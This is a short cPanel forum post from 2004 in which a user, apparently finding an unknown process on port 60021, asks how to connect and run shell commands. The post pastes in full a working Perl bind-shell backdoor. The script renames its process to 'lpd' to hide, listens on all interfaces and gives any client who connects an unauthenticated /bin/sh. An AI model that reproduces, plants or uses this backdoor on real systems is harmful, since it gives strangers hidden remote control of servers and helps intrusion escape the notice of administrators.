The Community Forums

Interact with an entire community of cPanel & WHM users!
  1. This site uses cookies. By continuing to use this site, you are agreeing to our use of cookies. Learn More.

How'd i monitor traffic on this port tcp 0 0 0.0.0.0:60021 0.0.0.0:* LISTEN 12532/lpd

Discussion in 'General Discussion' started by AbeFroman, Aug 13, 2004.

  1. AbeFroman

    AbeFroman BANNED

    Joined:
    Feb 16, 2002
    Messages:
    654
    Likes Received:
    1
    Trophy Points:
    0
    How'd i monitor traffic on this port tcp 0 0 0.0.0.0:60021 0.0.0.0:* LISTEN 12532/lpd

    How do i get to that port? I tried
    telnet ip 60021
    what do i type in to run shell commands?

    This was the script:
    #!/usr/bin/perl

    # * Author:
    # headflux (hf@synnergy.net)
    # Synnergy Networks (c) 1999, http://www.synnergy.net
    # *** Synnergy Networks

    use Socket;

    #rintf "BS\n";
    #lush();

    $port= 60021;
    $proto= getprotobyname('tcp');
    $cmd= "lpd";
    $system= 'echo "(`whoami`@`uname -n`:`pwd`)"; /bin/sh';

    $0 = $cmd;


    socket(SERVER, PF_INET, SOCK_STREAM, $proto)
    or die "socket:$!";

    setsockopt(SERVER, SOL_SOCKET, SO_REUSEADDR, pack("l", 1))
    or die "setsockopt: $!";

    bind(SERVER, sockaddr_in($port, INADDR_ANY))
    or die "bind: $!";

    listen(SERVER, SOMAXCONN)or die "listen: $!";

    for(; $paddr = accept(CLIENT, SERVER); close CLIENT)
    {
    open(STDIN, ">&CLIENT");
    open(STDOUT, ">&CLIENT");
    open(STDERR, ">&CLIENT");

    system($system);

    close(STDIN);
    close(STDOUT);
    close(STDERR);
    }
     
Loading...

Share This Page